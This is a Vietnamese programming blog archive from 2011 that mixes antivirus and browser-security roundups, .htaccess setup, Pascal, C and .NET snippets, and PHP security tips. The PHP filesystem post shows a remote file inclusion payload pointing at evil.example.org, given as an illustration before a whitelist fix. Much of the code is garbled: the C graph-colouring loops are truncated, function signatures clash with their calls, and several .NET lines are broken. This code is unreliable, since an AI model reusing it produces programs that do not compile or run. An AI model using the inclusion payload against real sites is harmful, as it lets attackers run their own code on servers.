Chủ Nhật, 30 tháng 1, 2011

Những phần mềm diệt virus Antivirus miễn phí của năm 2011

Với khả năng quét và phát hiện cao, cùng với giao diện thân thiện, Avast Free Antivirus đã đứng đầu trong bảng xếp hạng này; Avira AntiVir Personal đứng thứ 2 nhưng cũng có khả năng phát hiện và loại bỏ phần mềm độc hại một cách hiệu quả.

Avast Free Antivirus 5

Avast Free Antivirus là một bộ gói sản phẩm chống virus toàn diện: nó là một bức tường vững chắc trong việc ngăn chặn các phần mềm độc hại; với một giao diện thân thiện dễ sử dụng, nó cho phép người dùng quét các tập tin một cách nhanh chóng.

1296026487 vi tinh avast free antivirus 5 Những phần mềm diệt virus Antivirus miễn phí của năm 2011

Avira AntiVir Personal Free Antivirus 10

Avira AntiVir Personal có khả năng ngăn chặn và phát hiện phần mềm đọc hại một cách tuyệt vời, tuy nhiên giao diện chưa được thân thiện cho lắm.

Microsoft Security Essentials 1,0

Microsoft Security Essentials là một thành phần dễ sử dụng, tuy nhiên nó lại thua các sản phẩm trên về khả năng phát hiện các phần mềm độc hại.

Panda Cloud Antivirus

Panda Cloud Antivirus rất dễ sử dụng nhưng tốc độ quét của nó chậm hơn so với bình thường. Hãy tìm bản cập nhật Cloud Antivirus 1,3 để có thể cải thiện khả năng ngăn chặn các cuộc tấn công.

Comodo Internet Security 5,0 Premium

Comodo Internet Security đã làm tốt việc ngăn chặn phần mềm độc hại với thành phần tường lửa, tuy nhiên nó lại chưa phải giải pháp toàn vẹn trong việc phát hiện thành phần độc hại trên máy.

Theo 24h

Nguồn : Những phần mềm diệt virus Antivirus miễn phí của năm 2011

Thứ Bảy, 29 tháng 1, 2011

Cách kiểm tra bảo mật trình duyệt web

Cũng giống như các phần mềm, mã code của trình duyệt Web có thể bị tấn công hoặc chứa những lỗ hổng dễ bị hacker hướng tới.Sau đây chúng tôi xin chia sẻ với bạn đọc một số cách kiểm tra bảo mật trình duyệt web

1. Browserscope

Khi truy cập trang web Browserscope, điều đầu tiên bạn thấy là kết quả kiểm tra về việc so sánh rất nhiều khía cạnh của một trình duyệt web cơ bản. Do bài báo này nói về vấn đề bảo mật của trình duyệt web, nên chúng ta sẽ chỉ tập trung vào thẻ Sercurity. Như chúng ta mong đợi, có rất nhiều kiểm tra chỉ trong một thẻ

3 Cách kiểm tra bảo mật trình duyệt web

Trang web cũng sẽ cho phép bạn kiểm tra trình duyệt web hiện tại của bạn. Sau đó, Browserscope sẽ thêm kết quả kiểm tra vào trong danh sách.

2. BrowserSPY.dk

31 Cách kiểm tra bảo mật trình duyệt web

Trang web này thực hiện các kiểm tra tương tự với Browserscope, nhưng có thêm 64 cuộc kiểm tra. Tuy nhiên, không may mắn là BrowserSPY không đưa ra các phương pháp khắc phục.

3. PC Flank - http://www.pcflank.com/

32 Cách kiểm tra bảo mật trình duyệt web

Trang web PC Flank sử dụng một số kiểm tra để hiển thị chung về tình trạng an toàn của máy tính khi xem các trang web. Các kiểm tra bao gồm Stealth Test, Advanced Port Scanner Test, Trojans Test, Exploits Test, và Browser Test. Với Browser Test, PC Flank sẽ cố gắng xác định liệu trình duyệt web của bạn có đưa ra bất kì một thông tin cá nhân, thông tin địa điểm hoặc ISP của bạn.
Kết quả trong hình minh họa cho thấy những gì đang xảy ra trên trình duyệt web của chúng tôi. Cookies được phép lưu lại và những thông tin liên quan được hiển thị trên trang web chúng tôi đang xem.

4. Qualys BrowserCheck

33 Cách kiểm tra bảo mật trình duyệt web

Nếu bạn không ngại, Qualys BrowserCheck cần phải cài đặt một plug-in. Đây chính là cách để nó tìm kiềm những điểm yếu của trình duyệt web, kết hợp các mở rộng và các ứng dụng phụ. Kiểm tra add-ons có vẻ như rất khó khăn nhưng thực sự không phải. những kẻ tấn công cố gắng tìm kiếm mã TPV bị lỗi để có thể thực hiện tấn công vào lỗ hổng này.

5.Scanit Browser Security Check

33 Cách kiểm tra bảo mật trình duyệt web

Là một công ty, Scanit thực hiện tất cả những kiểm tra liên quan tới an ninh, từ kiểm tra thâm nhập để đảm bảo ứng dụng web được an toàn. Họ cũng cung cấp một phiên bản kiểm tra bảo mật trên web, có thể tìm kiếm 19 lỗ hổng.

Kết luận

35 Cách kiểm tra bảo mật trình duyệt web

Ngày nay, chúng ta phải rất cẩn thận trong việc tin tưởng ai và tin tưởng điều gì. Giữ những điều này trong đầu, chúng ta đã có những thông tin về kiểm tra trình duyệt web có thể tin tưởng được. Những trang web trên là 5 lựa chọn tốt nhất chúng ta có thể sử dụng.

Lamle (Techrepublic.com)

Nguồn : Cách kiểm tra bảo mật trình duyệt web

Cách đặt mật khẩu cho trang web hay thư mục trong website

 Trước tiên, chúng ta tạo tệp .htpasswd chứa tên và mật khẩu người dùng áp dụng cho máy chủ Apache 1.3.23 trên máy cục bộ với hệ điều hành Windows XP SP2.

username1:password1
username2:password2

trong đó mật khẩu password1, password2,… đã được mã hóa.

Có nhiều cách để tạo tệp này. Có thể truy cập vào 1 số trang web trợ giúp, trong đó chỉ cần nhập tên và mật khẩu là được, trang web sẽ tự động mã hóa và tạo ra file cần thiết, bạn chỉ cần sao chép nó là được. Tuy nhiên cách làm này đôi khi tạo ra mật khẩu không thích hợp với hệ thống của bạn. Nguyên nhân có thể là do các phiên bản Apache trên máy chủ của bạn và máy chủ của trang web đó khác nhau. Tốt nhất là nên dùng chương trình tạo mật khẩu có sẵn trên máy chủ Apache của bạn.

Tìm trong thư mục cài Apache thư mục tên bin (trên máy cục bộ của mình là C:/Apache/bin) tệp htpasswd.exe. Mở StartRun và gõ cmd để mở Command Prompt. Trong cửa sổ Command Prompt chuyển đường dẫn đến thư mục bin vừa tìm thấy bằng lệnh cd (ví dụ trên máy mình là cd C:Apachebin).

Sau đó chạy dòng lệnh sau để tạo tệp .htpasswd chứa mật khẩu:

htpasswd.exe -mc .htpasswd username

trong đó username là tên người dùng muốn tạo ra. Khi thực hiện dòng lệnh này, sẽ có yêu cầu nhập và xác nhận mật khẩu, chỉ cần nhập theo hướng dẫn đó là được.

Nếu muốn bổ xung thêm người dùng vào file đó thì dùng lệnh sau:

htpasswd.exe -c

.htpasswd username2

rồi lại nhập mật khẩu vào tương tự như trước. Lặp lại bước này đến khi hết số lượng người dùng.

Khi hoàn tất, trong thư mục bin đó sẽ xuất hiện tệp .htpasswd, trong đó chứa tên người dùng và mật khẩu tương ứng. Mở tệp này bằng Notepad hoặc bằng 1 chương trình đọc file bất kỳ sẽ thấy nó có dạng username:password, trong đó username là tên người dùng không được mã hóa, còn password là mật khẩu tương ứng đã được mã hóa.

Sau đó hãy chép tệp .htpasswd vừa tạo ra này vào thư mục mà bạn muốn bảo vệ bằng mật khẩu, giả sử thư mục ở máy mình là C:/www/thuchanh.

Trong thư mục này, hãy tạo ra 1 tệp có tên .htaccess (cũng chỉ có phần mở rộng mà không có phần tên). Tệp này có vai trò xác lập các tham số cần thiết để thiết lập quyền truy cập trang web nằm trong thư mục trên. Nội dung của tệp này, bạn tạo ra bằng bất kỳ 1 chương trình soạn thảo văn bản nào (như Notepad chẳng hạn) với nội dung như sau:

AuthType Basic
AuthName “Enter password”
AuthUserFile C:/www/thuchanh/.htpasswd
require valid-user

Dòng đầu tiên là kiểu xác nhận, ở đây là Basic. Dòng thứ 2 là tiêu đề của cửa sổ sẽ hiện ra hỏi tên và mật khẩu, có thể là bất cứ thứ gì bạn muốn. Dòng thứ 3 rất quan trọng, đó là đường dẫn đến tệp chứa tên và mật khẩu (chính là file .htpasswd đã nói ở trên). Đường dẫn này có thể tương đối đối với thư mục gốc, hoặc có thể tuyệt đối. Trong trường hợp này mình dùng đường dẫn tuyệt đối. Dòng cuối cùng là yêu cầu chỉ chấp nhận với những người dùng hợp lệ, tức tên và mật khẩu hợp lệ.
Bây giờ mở trình duyệt ra, nhập đường dẫn đến thư mục được bảo vệ (hoặc 1 trang web bất kỳ đặt trong thư mục đó), trong trường hợp của mình là http://localhost/thuchanh, bạn sẽ nhận được 1 cửa sổ yêu cầu nhập tên và mật khẩu. Hãy nhập tên và mật khẩu bạn tạo ra ở trong file .htpasswd lúc đầu. Bạn sẽ vào được thư mục đó (hoặc trang web trong thư mục đó).

Chú ý là nếu 2 tệp .htaccess và .htpasswd đặt ở thư mục nào thì thư mục đó cùng với tất cả các tệp và các thư mục con trong nó đều được bảo vệ.ư

Theo kênh 360

Nguồn : Cách đặt mật khẩu cho trang web hay thư mục trong website

Thứ Sáu, 28 tháng 1, 2011

Định nghĩa background cho một thẻ trong CSS

Thuộc tính background trong CSS, nó sẽ cho phép chúng ta tùy biến màu nền của một thẻ HTML đặt một ảnh làm nền (background), làm cho một ảnh có thể lặp đi lặp lại (repeat) theo chiều ngang hoặc theo chiều dọc, chúng ta cũng có thể định vị một ảnh ở một vị trí nào đó trên trang.

Thuộc tính background bao gồm:

background-color:#ffffff; /*màu nền*/
background-image:url(css_series.jpg); /*ảnh nền*/
background-repeat:repeat-x; /*Lặp lại*/
background-position: center bottom; /*Vị trí*/

Hoặc ta có thể khai báo gộp lại như sau

background: #ffffff url(css_series.jpg) repeat-x center bottom;

Trong đó:

+ Màu nền bạn có thể khai báo bằng mã màu hoặc tên màu ví dụ như #ffffff hoặc white đều được định nghĩa cho màu trắng

+ Ảnh nền bạn phải chỉ ra đường dẫn đến ảnh đó.

+ Lặp lại bạn có thể cho lặp lại theo hàng ngang (repeat-x), hàng dọc (repeat-y), không lặp lại (no repeat).

Theo laptrinhvn

Thuật toán tính hàm mũ

Trong Pascal ta có thể tính a^b bằng công thức exp(b*ln(a)). Tuy nhiên nếu a không phải là số dương thì không thể áp dụng được.

Ta có thể viết hàm mũ an như sau:

function hammu(a : real; n : integer): real;
var s : real;
i : integer;
begin
s := 1;
for i := 1 to n do s := s * a;
hammu := s;
end;
Theo lập trình vn

Thuật toán nhập và in mảng 2 chiều dạng ma trận

Chương trình thực hiện nhập và in mảng 2 chiều dạng ma trận (m dòng, n cột)

1. Nhập

Để nhập các phần tử của mảng 2 chiều dạng ma trận, ta cần dùng các lệnh sau của unit CRT (nhớ phải có khai báo user crt ở đầu chương trình).

GotoXY(a,b): di chuyển con trỏ màn hình đến vị trí (a,b) trên màn hình (cột a, dòng b). Màn hình có 80 cột và 25 dòng.
whereX: hàm cho giá trị là vị trí cột của con trỏ màn hình.

whereY: hàm cho giá trị là vị trí dòng của con trỏ màn hình.

Khi nhập 1 phần tử ta dùng lệnh readln nên con trỏ màn hình sẽ xuống dòng, do đó cần quay lại dòng của bằng lệnh GotoXY(j * 10, whereY -1 ), nếu ta muốn mỗi phần tử của ma trận ứng với 10 cột màn hình.

procedure nhap;
var i,j : integer;
begin
clrscr;
write('Nhap m,n = ');
readln(m,n);
for i := 1 to m do begin
for j := 1 to n do begin
write('A[',i,',',j,']=');
readln(a[i,j]);
gotoXY(j*10,whereY-1);
end;
writeln;
end;
end;

2. In

Để in bảng dạng ma trận, với mỗi dòng ta sẽ in các phần tử trên 1 hàng rồi xuống dòng:

procedure inbang;
var i,j : integer;
begin
for i := 1 to m do begin
for j := 1 to n do
write(a[i,j]:6);
writeln;
end;
end;
Theo lập trình vn

Thuật toán tính tổng ước số của số nguyên

Để tính tổng các ước số của số n, ta cho i chạy từ 1 đến n div 2, nếu n chia hết cho số nào thì ta cộng số đó vào tổng. (Chú ý cách tính này chưa xét n cũng là ước số của n).

Chương trình:

function tongus(n : integer): integer;
var i,s : integer;
begin
s := 0;
for i := 1 to n div 2 do
if n mod i = 0 then s := s + i;
tongus := s;
end;
Theo lập trình vn

Thuật toán tô màu SDO

Thuật toán SDO (Saturation Degree Ordering) : do Brèlaz đề xuất năm 1979 [12]. Đây cũng là một thuật toán tô mầu tuần tự các đỉnh. SDO cải tiến FF ở chỗ các đỉnh được tô mầu không theo số thứ tự của đỉnh, mà theo thứ tự bậc SD từ lớn tới bé. Trong đó bậc SD của đỉnh x được tính bằng số mầu khác nhau đã dùng để tô cho các đỉnh kề với x.

Chương trình:

#include
#include
#include
int *doc_tep(int *a,int *n);
void in_matran(int *a,int n);
int *bac_dinh(int *a,int n);
int max(int *b,int n);
int ktra_mau(int *a,int *b,int *c,int n,int x);
void ToMau(int *a,int n);
int main()
{
int n,*a;
a=doc_tep(a,&n);
in_matran(a,n);
ToMau(a,n);
getch();
return 0;
}
int *doc_tep(int *a,int *n)
{
FILE *f;
f=fopen("Graph1.INP","r");
if(f==NULL)
{
printf("nLoi Mo Tep.");
getch();
exit(1);
}
fscanf(f,"%d",n);
a=(int *) malloc(*n**n*sizeof(int));
for(int i=0;i<*n;i++)
for(int j=0;j<*n;j++)
fscanf(f,"%d",(a+i**n+j));
fclose(f);
return a;
}
void in_matran(int *a,int n)
{
for(int i=0;i
{
for(int j=0;j
printf("%5d",*(a+i*n+j));
printf("nn");
}
}
int *bac_dinh(int *a,int n)
{
int *deg;
int *b;
b=(int *) calloc(n*n,sizeof(int));
for(int i=0;i
for(int j=0;j
if(*(a+i*n+j)!=0)
{
*(b+i*n+j)=*(a+i*n+j);
*(b+j*n+i)=*(a+i*n+j);
}
printf("n");
//in_matran(b,n);
deg=(int *) calloc(n,sizeof(int));
for(int i=0;i
for(int j=0;j
{
if(*(b+i*n+j)!=0 && i!=j)
deg[i]+=*(b+i*n+j);
if(*(b+i*n+j)!=0 && i==j)
deg[i]+=*(b+i*n+j)*2;
}
//for(int i=0;i
// printf("nBac cua dinh %d la %d.",i+1,deg[i]);
return deg;
}
int max(int *b,int n)
{
int tg=*b,j=0;
for(int i=1;i
if(*(b+i)>tg)
{
tg=*(b+i);
j=i;
}
return j;
}
int ktra_mau(int *a,int *b,int *c,int n,int d,int x) //Kiem tra mau x da to cho cac dinh ke voi dinh d chua
{
for(int j=0;j
if((*(a+d*n+j)!=0 && j!=d) && *(b+j)==x) //c[]:danh dau dinh j da to mau
return 0; //b[]
return 1;
}
void in(int *b,int n)
{
printf("n");
for(int k=0;k
printf("%5d",*(b+k));
}
void ToMau(int *a,int n)
{
int *b,*c,*deg,tg;
b=(int *) calloc (n,sizeof(int));
c=(int *) calloc (n,sizeof(int));
deg=bac_dinh(a,n);
for(int i=0;i
{
tg=max(deg,n);
printf("ntg=%d",tg);
for(int j=0;j
if(ktra_mau(a,b,c,n,tg,j)==1)
{
*(b+tg)=j;
*(c+tg)=1;
break;
}
*(deg+tg)=0;
//in(deg,n);
}
printf("nTo Mau Cho Do Thi: n");
for(int i=0;i
printf("ntDinh %d ---> Mau %d",i+1,*(b+i));
}
Theo lập trình việt

Bảo mật Session trong lập trình PHP

Có hai kiểu tấn công session phổ biến nhất đó là session cố định(session fixation) và cướp session ( session hijacking)
Khi một người triệu gọi trang web lần đầu tiên ứng dụng sẽ gọi session_start() để tạo ra sesion cho user. PHP sẽ tự động sinh ngẫu nhiên một định danh khác nhau cho mỗi user. Và sau đó nó send tạo một trên cookies với tên mặc định là PHPSESSID bạn có thể thay đổi tên mặc định của nó bằng cách thay đổi nó trong php.ini hoặc dùng hàm session_name() . Từ lần viếng thăm sau nó sẽ định danh user bằng cookies. Tuy nhiên có thể gán session qua chuỗi truy vấn. Đây là cách dễ ràng để tấn công session fixation bởi vì kẻ tấn công có thể thay đổi giá trị PHPSESSID. Cách phổ biến là lưu trữ link trong ứng dụng của bạn nối thêm session id và sau dụ ngưòi dùng kích vào
Click here
Trong khi truy cấp thường hay lưu thông tin đăng nhập trong session. Nếu user đăng nhập vào với cùng session id thì kẻ tấn công cũng có thể truy cập với session id đó vì vậy có thể truy cập vào thay đổi các thông tin account . Quan trọng hơn là nó sẽ tiến tới chiếm quyền điều khiển của những acount quản trị. Chúng ta có thể xuất tất cả các session id của tất cả các user bằng hàm session_regenerate_id()

Mã:

session_start();
// If the user login is successful, regenerate the session ID if (authenticate())
{
session_regenerate_id();
}

Cách làm trên chỉ bảo vệ user bởi cách tấn công session fixed và dễ dàng đề nghị truy cập của các kẻ tấn công . Nó không giúp chống lại được các kiểu tấn công phổ biến khác như kiểu session hijacking. Đúng hơn là cái này là một cái chung mà thời hạn mô tả bởi bất kì cái gì đó có nghĩa bởi các kẻ tấn công kiếm được những session id của user hữu ích.
Ví dụ, một user tin rằng khi đăng nhập thì session id được định nghĩa lại và có một session mới. cái gì sẽ sẩy ra nếu các kẻ tấn công mà phát hiện ID mới và cố gắng truy cập vào session của user ?
Session ID để định danh các yêu cầu khác nhau của các user khác nhau. một yêu cầu đầư được trợ giúp đặc biệt và không thay đổi giữa các yêu cầu đầu khác nhau. nếu không chắc chắn(chiếm truờng hợp ít) user từ một trình duyệt có thể chuyển nó thành cái khác trong khi đang sử dụng cùng phiên làm việc. các yêu cầu đầu để xác định rõ kiểu tấn công session hijacking.
Sau khi user đăng nhập lưu tác nhân user (User-Agent ) vào session:
$_SESSION[’user_agent’] = $_SERVER[’HTTP_USER_AGENT’];
Và sau đó khi trang được load lần hai kiểm tra chắc chắn rằng User-Agent không được thay đổi. Nếu nó bị thay đổi lên cho đăng nhập lại
Mã:
if ($_SESSION[’user_agent’] != $_SERVER[’HTTP_USER_AGENT’])
{
// Force user to log in again exit;
}
Theo lập trình việt

Bảo mật Filesystem trong lập trình PHP

PHP có khả năng truy cập trực tiếp hệ thống files và có thể thực hiện các lệnh shell, nó cung cấp cho các nhà phát triển sức mạnh lớn, nó thực sự nguy hiểm khi làm hỏng dữ liệu đầu cuối bằng các comand line. Một lần nữa dữ liệu lại phải lọc.

1. Thực thi mã lệnh từ xa(remote Code Injection )

Khi khai báo chèn vào file bằng include hoặc requre chú ý cẩn thận khi sử dụng dữ liệu “hỏng” để tạo một sự khai báo bao hàm(include) động trên dữ liệu nhập từ client, bởi vì một lỗi có thể dễ dàng cho phép hacker có thể thực hiện các cuộc tấn công từ xa. Một cuộc tấn công từ xa xẩy ra khi một kẻ tấn công có thể thực hiện đoạn mã mà họ đã chọn trên ứng dụng của chúng ta. Điều đó giúp cho kẻ tấn công có thể tàn phá cả ứng dụng lẫn hệ thống.
Ví dụ, rất nhiều ứng dụng cho phép tạo và sử dụng chuỗi truy vấn vào cấu trúc những mục của ứng dụng ví dụ : http://example.org/?section=news . Một ứng dụng có thể cấu trúc inclue đề chèn mã news vào ứng dụng:
clude “{$_GET[’section’]}/data.inc.php”;
khi sử dụng URL truy cập vào những mục news/data.inc.php . Tuy nhiên phải cân nhắc kỹ chuyện gì xẩy ra nếu các kẻ tấn công thay đổi chuỗi truy vấn có hại cho site:

http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F

dữ liệu nguy hiểm sẽ đuợc include vào hệ thống kết quả của cách làm trên là
include “http://evil.example.org/attack.inc?/data.inc.php”;
attack.inc được inclue vào hệ thống và thực thi mã trong đó, các kẻ tấn công có thể làm bất kỳ điều gì mà họ muốn chỉ cẩn để nó trong attack.inc . when đó kẻ tấn công có thể chiếm tất cả quyền mà họ muốn.
Ví dụ:

Mã:

$clean = array();
$sections = array(’home’, ’news’, ’photos’, ’blog’);
if (in_array($_GET[’section’], $sections))
{
$clean[’section’] = $_GET[’section’]
}else {
$clean[’section’] = ’home’
}
include "{clean[’section’]}/data.inc.php";

2. Các lệnh injecttion

Một site cho phép include dữ liệu động vào file rất nguy hiểm, nó cho phép user thực thi các lệnh trên hệ thống. PHP cung cấp các các hàm như exec(), system() và passthru() giúp chúng ta có thể thực thi những lệnh trên hệ thống. Việc lọc whilelist giảm thiệu các câu lệnh có hại cho hệ thống.
Php cung cấp hàm escapeshellcmd() and escapeshellarg() Đê lịa bỏ những cấu lệnh escape shell cho hệ thống

Theo lập trình việt

Nguồn : Bảo mật Filesystem trong lập trình PHP


Những khái niệm cơ bản trong Java

Trước khi tìm hiểu Java hay bất kỳ một ngôn ngữ lập trình nào, như đã nói trong phần mở đầu, chúng ta nên tìm hiểu một số khái niệm căn bản.

Có lẽ khi tìm hiểu về lập trình, dù là đã khá lâu hay mới…hôm qua Laughing thì bạn cũng đã nghe tới hệ đếm nhị phân, thập phân…Tại sao lại cần những cái đó nhỉ?

Chúng ta thường đếm 1,2,3,4,5… Nhưng khổ nỗi, ngay cả mấy con số đơn giản đó máy tính cũng không thể hiểu! Nó chỉ hiểu được hai trạng thái: có-không, bật -tắt, có tín hiệu-không có tín hiệu… Nói cách khác, nếu ta qui định sô 0 là một trạng thái và số 1 là một trạng thái khác thì máy tính sẽ hiểu được hai con số đó. Và nếu ta qui định một trật tự sắp xếp nào đó cho một nhóm vài số 0-1 thành các chữ a-b-c… hay các số 1-2-3-4….và “dạy cho máy tính” biết thì nó sẽ hiểu. Khoan nói tới các chữ, chỉ bàn tới các con số, có lẽ bạn sẽ nhận ra rằng để máy tính hiểu các số 123 hay 3765 thì chúng ta phải thay thế bằng một dãy các số 0-1.Bạn dùng thử chính chương trình Calculator của Windows để xem số 123 đổi qua các số 0-1 (nhị phân,sẽ bàn sau) sẽ là gì. Trên menu của Calculator, bạn click vào View, sau đó chọn Scientific. Nhập số 123, sau đó click chọn Bin, bạn sẽ thấy số 123 tương đương với 1111011. Số 1111011 này chính là số 123 chuyển qua hệ đếm nhị phân (Binary number system)

Hệ đếm:

Hệ đếm dùng để đếm. Có rất nhiều hệ đếm khác nhau: Hệ 2, hệ 8, hệ 10, hệ 16…

Trong hệ đếm ta sẽ gặp khái niệm cơ số. Cơ số là số lượng ký hiệu dùng trong hệ đếm. Ví dụ hệ đếm cơ số 2 sẽ có 2 ký hiệu là 0-1; hệ đếm cơ số 10 thì có 10 ký hiệu là: 0-1-2-3-4-5-6-7-8-9.

Một cách chung nhất thì hệ đếm cơ số a sẽ sử dụng a ký hiệu để biểu diễn và giá trị nhỏ nhất bằng 0 , giá trị lớn nhất bằng a-1. Các số trong mỗi hệ đếm được sắp xếp theo thứ tự từ phải qua trái và được ký hiệu từ bắt đầu từ 0. Giá trị của chữ số n bằng số đó nhân với giá trị vị trí. Nếu gọi n số lượng các chữ số, số đầu tiên có vị trí là n-1, số thứ hai có vị trí là n-2… , ta sẽ có giá trị vị trí = a vị trí .

Ví dụ: Số 123 ở ví dụ trên, số 1 sẽ có vị trí là 2 (3-1), số 2 sẽ có vị trí là 1(3-2) và số 3 sẽ có vị trí là 0(3-3).Giá trị vị trí tương ứng sẽ là 102 – 101 – 100.Và giá trị các số sẽ là: 102 x 1 + 101 x 2 + 100 x 3 = 100 + 20 + 3 = 123

Chuyển một số từ hệ 10 sang hệ 2:

Bạn chia số đó liên tục cho 2 cho đến khi kết quả phép chia bằng 0. Sau đó lấy phần dư các lần chia viết theo thứ tự ngược lại như hình dưới.

Bit và Byte:

Một bit chính là một số nhị phân, có giá trị 0 hoặc 1. Bạn thấy 1 bit sẽ có bao nhiêu giá trị khác nhau? Chỉ có 2 giá trị khác nhau là 0 hay 1. Vậy 2 bit thì sao? Ta sẽ có 4 cặp giá trị khác nhau: 00-11-01-10. Tổng quát n bit sẽ có an giá trị khác nhau.

Một byte bằng 8 bit. Tại sao một byte = 8 bit? Bạn tham khảo bảng ASCII sau:

Bạn sẽ thấy tổng cộng có 256 trường hợp khác nhau cần biểu diễn.

Ta sẽ cần bao nhiêu bit để biểu diễn 256 trường hợp khác nhau?

Theo như trên, bạn sẽ dễ dàng thấy 2 8 = 256 tức là cần 8 bit

Tạm thời ta chỉ thảo luận một vài khái niệm như vậy.

Theo lập trình việt

Nguồn : Những khái niệm cơ bản trong Java

Thuật toán tô màu LDO

Thuật toán LDO (Largest Degree Ordering): do De Werra đề xuất năm 1990 [13]. Tương tự như SDO, LDO là một cải tiến của FF, trong đó các đỉnh được tô mầu theo thứ tự bậc của đỉnh từ lớn tới bé.

Chương trình:

#include
#include
#include
int *doc_tep(int *a,int *n);
void in_matran(int *a,int n);
void in(int *b,int n);
int dem(int *b,int n);
int max(int *b,int n);
void up_date(int *a,int *SD,int *ToMau,int n);
int ktra_mau(int *a,int *b,int *c,int n,int d,int x);
void ToMau_SDO(int *a,int n);
int main()
{
int n,*a;
a=doc_tep(a,&n);
in_matran(a,n);
ToMau_SDO(a,n);
getch();
return 0;
}
int *doc_tep(int *a,int *n)
{
FILE *f;
f=fopen("Graph2.INP","r");
if(f==NULL)
{
printf("nLoi Mo Tep.");
getch();
exit(1);
}
fscanf(f,"%d",n);
a=(int *) malloc(*n**n*sizeof(int));
for(int i=0;i<*n;i++)
for(int j=0;j<*n;j++)
fscanf(f,"%d",(a+i**n+j));
fclose(f);
return a;
}
void in_matran(int *a,int n)
{
for(int i=0;i
{
for(int j=0;j
printf("%5d",*(a+i*n+j));
printf("nn");
}
}
void in(int *b,int n)
{
printf("n");
for(int i=0;i
printf("%5d",*(b+i));
}
int dem(int *b,int n)
{
int tg=0,j;
for(int i=0;i
{
if(*(b+i)==-1)
continue;
for(j=0;j
if(*(b+j)==*(b+i))
break;
if(j==i)
tg++;
}
return tg;
}
int max(int *b,int *c,int n)
{
int tg=*b,j=0;
for(int i=j+1;i
if(*(b+i)>tg && *(c+i)==0)
{
tg=*(b+i);
j=i;
}
return j;
}
void up_date(int *a,int *SD,int *ToMau,int n,int x)
{
int *ke,j=0;
ke=(int *) calloc (n,sizeof(int));
for(int i=0;i
*(ke+i)=-1;
for(int i=0;i
if(*(a+x*n+i)!=0 && *(ToMau+i)!=-1)
{
*(ke+j)=*(ToMau+i);
j++;
}
*(SD+x)=dem(ke,n);
}
int ktra_mau(int *a,int *b,int *c,int n,int d,int x)
{
for(int j=0;j
if((*(a+d*n+j)!=0 && j!=d) && *(c+j)==1 && *(b+j)==x)
return 0;
return 1;
}
void ToMau_SDO(int *a,int n)
{
int *ToMau,*SD,*b;
ToMau=(int *) calloc (n,sizeof(int));
b=(int *) calloc (n,sizeof(int));
SD=(int *) calloc (n,sizeof(int));
*ToMau=0; //To mau 0 cho dinh 1.
*b=1; //Danh dau dinh 1 da to mau.
for(int i=1;i
*(ToMau+i)=-1;
int tg;
for(int i=1;i<=n;i++)
{
for(int k=0;k
if(*(ToMau+k)==-1)
up_date(a,SD,ToMau,n,k);
tg=max(SD,b,n);
for(int j=0;j
if(ktra_mau(a,ToMau,b,n,tg,j)==1)
{
*(ToMau+tg)=j;
*(b+tg)=1;
break;
}
}
printf("nTo Mau Cho Do Thi: n");
for(int i=0;i
printf("ntDinh %d ---> Mau %d",i+1,*(ToMau+i));
}
Theo lập trình vn

Thứ Sáu, 21 tháng 1, 2011

Những mẹo cần biết khi lập trình .NET

Chúng tôi xin đưa ra các phương pháp giải quyết các vấn đề mà các nhà phát triển .NET thường gặp. Hy vọng chúng sẽ giúp ích cho các bạn.

1. Làm thế nào giới hạn một chương trình chỉ chạy một lần

Trong form chính đổi thành như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
static void Main()
{
Process ThisProcess = Process.GetCurrentProcess();
Process [] AllProcesses = Process.GetProcessesByName(ThisProcess.ProcessName);
if (AllProcesses.Length > 1)
{
MessageBox.Show(ThisProcess.ProcessName + '' is already running'', ThisProcess.ProcessName, MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
Application.Run(new MainForm());
}
}

2. Di chuyển con trỏ đến dòng và cột xác định (RichTextBox)

Dùng phương thức GoToLineAndColumn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void GoToLineAndColumn(int Line, int Column)
{
Cursor.Current = Cursors.WaitCursor;
int Offset = 0;
int i = 0;
foreach (String L in Lines)
{
if (i <>1)
{
Offset += L.Length + 1;
}
else
{
break;
}
i++;
}
Select(Offset + Column - 1, 0);
Cursor.Current = Cursors.Arrow;
}

3.Xác định cột hiện thời. (RichTextBox )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int GetColumn()
{
int LineNumber = GetLineFromCharIndex(SelectionStart);
int LineOffset = 0;
int i = 0;
foreach (String Line in Lines)
{
if (i <>
{
LineOffset += Line.Length + 1;
}
else
{
break;
}
i++;
}
return SelectionStart - LineOffset + 1;
}

4. Chạy JScript.NET trong ứng dụng C#

Tạo một JScript.NET ”package” bao gồm một phương thức toàn cục (public)

1
2
3
4
5
6
7
8
9
10
11
12
package JScript
{
class Eval
{
public function DoEval(expr : String) : String
{
return eval(expr);
}
}
}
try { Result = (int) Application.UserAppDataRegistry.GetValue(''Resolution''); } catch(Exception) { }

Và thêm một reference đến chương trình C# của bạn và sử dụngư

1
2
3
4
5
6
7
JScript.Eval E = new JScript.Eval();
String Expression = ExpressionTextBox.Text;
try
{
ResultTextBox.Text = E.DoEval(Expression);
}
catch(Microsoft.JScript.JScriptException jse)

5.Lưu thông số cấu hình vào Registry

Đầu tiên vào AssemblyInfo.cs và bỏ tất cả các thông số từ AssemblyVersion:

1
[assembly: AssemblyVersion(''1.0.0.0'')]

Mặc dù mỗi lần bạn build ứng dụng khoá register sẽ thay đổi. Lưu giá trị bằng cách sau

1
2
3
4
5
6
7
8
9
Application.UserAppDataRegistry.SetValue(''Value'', Value);
Nạp lại các thông số :
try
{
Value = (int) Application.UserAppDataRegistry.GetValue(''Value'');
}
catch(Exception)
{
}

Theo diễn đàn tin học

Thêm dữ liệu vào trong một trường nText vào SQL Server

Rất nhiều lập trình viên hỏi làm thế nào để thêm (insert) dữ liệu vào trong một trường nText vào SQL Server với ADO. Phần lớn các câu SQL thường dùng string chuẩn và nó sẽ gặp vấn đề khi cập nhật các ký tự đặc biệt. Sau đây chúng tôi sẽ giúp các bạn tránh được các lỗi thường gặp đó.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Dim lRecs
Dim moADOCon
Dim moADOCom
Set moADOCon = Server.CreateObject(''ADODB.Connection'')
Set moADOCom = Server.CreateObject(''ADODB.Command'')
moADOCon.Open ''your connection string''
With moADOCom
.ActiveConnection = moADOCon
.CommandText = ''spPost''
.CommandType = adCmdStoredProc
